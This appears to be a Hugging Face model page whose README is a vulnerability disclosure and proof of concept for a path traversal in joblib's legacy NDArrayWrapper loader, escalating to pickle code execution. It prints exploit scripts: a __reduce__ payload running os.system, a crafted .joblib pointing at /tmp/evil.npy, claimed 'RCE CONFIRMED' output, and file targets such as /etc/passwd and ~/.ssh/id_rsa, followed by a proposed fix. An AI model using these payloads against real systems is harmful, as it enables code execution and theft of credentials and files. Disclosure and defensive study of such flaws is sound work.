Downloads · 30 days
0
Rodion111/joblib-traversal-poc
joblib-traversal-poc is a machine learning model from Rodion111. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Downloads · 30 days
0
Access
Public
Updated Apr 8, 2026
Repo size
80 B
Likes
0
Public
Click a slice to open those files.
.md11.3 KB · 60%
From the Hugging Face model README
| Field | Details |
|---|---|
| Project | joblib |
| Affected File | joblib/numpy_pickle_compat.py |
| Affected Class / Method | NDArrayWrapper.read() |
| Affected Versions | All versions with legacy multi-file .joblib format support |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| CVSS v3.1 Score | 8.6 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
The NDArrayWrapper.read() method in joblib/numpy_pickle_compat.py constructs a filesystem path by joining a trusted base directory with a filename read from inside the .joblib archive. The path join is performed via os.path.join(), which in Python silently discards all preceding components when it encounters an absolute path component. An attacker who supplies a .joblib file with self.filename set to an absolute path (e.g., /etc/passwd, /tmp/malicious.npy) can direct the loader to read any file on the filesystem.
When allow_pickle=True (the default in older NumPy versions), this path traversal escalates to Remote Code Execution: the attacker-controlled .npy file can contain a pickled payload that executes arbitrary code at load time.
File: joblib/numpy_pickle_compat.py
class NDArrayWrapper(object):
"""An object to be used in replacement of a pickle array.
NDArrayWrapper is used to read back arrays stored in separate .npy files
inside a joblib pickle.
"""
def __init__(self, filename, subclass, allow_pickle=False):
self.filename = filename # ← comes directly from pickle stream
self.subclass = subclass
self.allow_pickle = allow_pickle
def read(self, unpickler):
filepath = os.path.join(unpickler._dirname, self.filename)
# If self.filename = '/etc/passwd' → filepath = '/etc/passwd'
# If self.filename = '/tmp/evil.npy' → filepath = '/tmp/evil.npy'
# os.path.join() silently ignores unpickler._dirname when self.filename is absolute!
array = unpickler.np.load(
filepath,
allow_pickle=self.allow_pickle # ← RCE if True and file contains pickle data
)
return array
The vulnerability has two components:
1. Path Traversal (CWE-22): Python's os.path.join(base, component) returns component unchanged if it is an absolute path. There is no call to os.path.realpath(), os.path.normpath(), or any prefix check to verify the resolved path remains under unpickler._dirname.
2. Pickle RCE Escalation: self.allow_pickle is also deserialized from the attacker-controlled archive. Combined with the path traversal, the attacker can:
.npy file (containing a pickled payload) at a predictable location (e.g., via a prior upload, /tmp/, a world-writable directory)self.filename = '/tmp/evil.npy' and self.allow_pickle = Trueimport os
os.path.join('/trusted/base', '/etc/passwd')
# Returns: '/etc/passwd' ← base is silently dropped!
os.path.join('/trusted/base', '../../../etc/passwd')
# Returns: '/trusted/base/../../../etc/passwd' ← traversal via relative path
Both absolute paths and relative .. sequences escape the intended directory.
The safer pattern used in other parts of joblib and in standard library code validates that the resolved path starts with the expected base:
# Secure pattern (NOT used in NDArrayWrapper):
def safe_join(base_dir, filename):
base_dir = os.path.realpath(base_dir)
filepath = os.path.realpath(os.path.join(base_dir, filename))
if not filepath.startswith(base_dir + os.sep):
raise ValueError(
f"Path traversal detected: {filename!r} escapes base directory"
)
return filepath
Modern zipfile and tarfile implementations in the Python standard library enforce similar containment checks. The NDArrayWrapper code predates these conventions and was never updated.
pip install joblib numpy
#!/usr/bin/env python3
"""
Stage 1: Create a malicious .npy file containing a pickle payload.
This file will be placed at a predictable location (simulating /tmp/).
"""
import numpy as np
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned.txt',))
# Craft a .npy file that embeds pickle data
# (numpy's allow_pickle=True triggers pickle deserialization)
malicious_array = np.array(MaliciousPayload())
np.save('/tmp/evil.npy', malicious_array, allow_pickle=True)
print("Malicious .npy written to /tmp/evil.npy")
#!/usr/bin/env python3
"""
Stage 2: Craft a .joblib archive that references /tmp/evil.npy
via the NDArrayWrapper.filename field.
"""
import joblib
import pickle
import io
# Manually craft a pickle stream that instantiates NDArrayWrapper
# with filename='/tmp/evil.npy' and allow_pickle=True
class FakeNDArrayWrapper:
"""Mimics joblib.numpy_pickle_compat.NDArrayWrapper for crafting purposes."""
def __init__(self):
self.filename = '/tmp/evil.npy' # ← absolute path traversal
self.subclass = None
self.allow_pickle = True # ← enable pickle RCE
# Serialize using standard pickle
payload = pickle.dumps(FakeNDArrayWrapper())
with open('malicious.joblib', 'wb') as f:
# Write joblib file magic + crafted object
# (exact format depends on joblib version; simplified here for clarity)
f.write(payload)
print("Malicious .joblib written to malicious.joblib")
import joblib
# Victim loads the attacker-supplied file
result = joblib.load('malicious.joblib')
# Check for RCE evidence
import os
if os.path.exists('/tmp/pwned.txt'):
with open('/tmp/pwned.txt') as f:
print(f"[RCE CONFIRMED] Command output: {f.read()}")
#!/usr/bin/env python3
"""
Path traversal PoC without RCE — reads arbitrary files.
self.filename = '/etc/passwd', allow_pickle=False
"""
import os
import struct
# Demonstrate os.path.join behavior
base = '/some/trusted/directory'
attacker_filename = '/etc/passwd'
result = os.path.join(base, attacker_filename)
print(f"os.path.join result: {result}")
# Output: /etc/passwd — base is completely ignored
assert result == '/etc/passwd'
print("Path traversal confirmed: attacker controls file path")
[RCE CONFIRMED] Command output: uid=1000(victim) gid=1000(victim) groups=1000(victim)
Path Traversal — High
self.filename to its absolute path./etc/passwd, ~/.ssh/id_rsa, application config files, database credentials) are exposed.Remote Code Execution — Critical (when allow_pickle=True)
allow_pickle from within the archive, overriding caller intent./tmp/ race, world-writable directory), a network attacker achieves RCE with no local foothold.Scope: Changed — code execution can escape the application sandbox, affect other users on a shared system, or pivot to internal network resources.
Score: 8.6 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable via remote file upload or model serving endpoint |
| Attack Complexity (AC) | Low (L) | No race conditions or special configuration needed; os.path.join behavior is deterministic |
| Privileges Required (PR) | None (N) | No authentication; any user who can supply a .joblib file triggers the vuln |
| User Interaction (UI) | None (N) | Server-side automatic loading, no victim action needed |
| Scope (S) | Changed (C) | RCE can escape the application context; affects other processes and the OS |
| Confidentiality (C) | High (H) | Arbitrary file read; RCE gives full data access |
| Integrity (I) | High (H) | RCE allows writing files, modifying data, persisting backdoors |
| Availability (A) | High (H) | RCE can crash, corrupt, or delete critical resources |
# joblib/numpy_pickle_compat.py
import os
def _safe_join(base_dir, filename):
"""Join paths and verify the result stays within base_dir."""
base_dir = os.path.realpath(base_dir)
# Reject absolute paths immediately
if os.path.isabs(filename):
raise ValueError(
f"NDArrayWrapper filename must be a relative path, got: {filename!r}"
)
# Resolve and verify containment
filepath = os.path.realpath(os.path.join(base_dir, filename))
if not filepath.startswith(base_dir + os.sep) and filepath != base_dir:
raise ValueError(
f"Path traversal detected: {filename!r} resolves outside of "
f"base directory {base_dir!r}"
)
return filepath
class NDArrayWrapper(object):
def read(self, unpickler):
# FIX: Use safe_join instead of bare os.path.join
filepath = _safe_join(unpickler._dirname, self.filename)
# FIX: Do not trust allow_pickle from the archive;
# use a caller-controlled parameter instead
allow_pickle = getattr(unpickler, '_allow_pickle', False)
array = unpickler.np.load(filepath, allow_pickle=allow_pickle)
return array
allow_pickle from archive data. The allow_pickle flag should be a parameter passed by the caller (joblib.load(..., allow_pickle=False)) and never deserializable from within the untrusted file itself.joblib.load() documentation: "Do not load .joblib files from untrusted sources."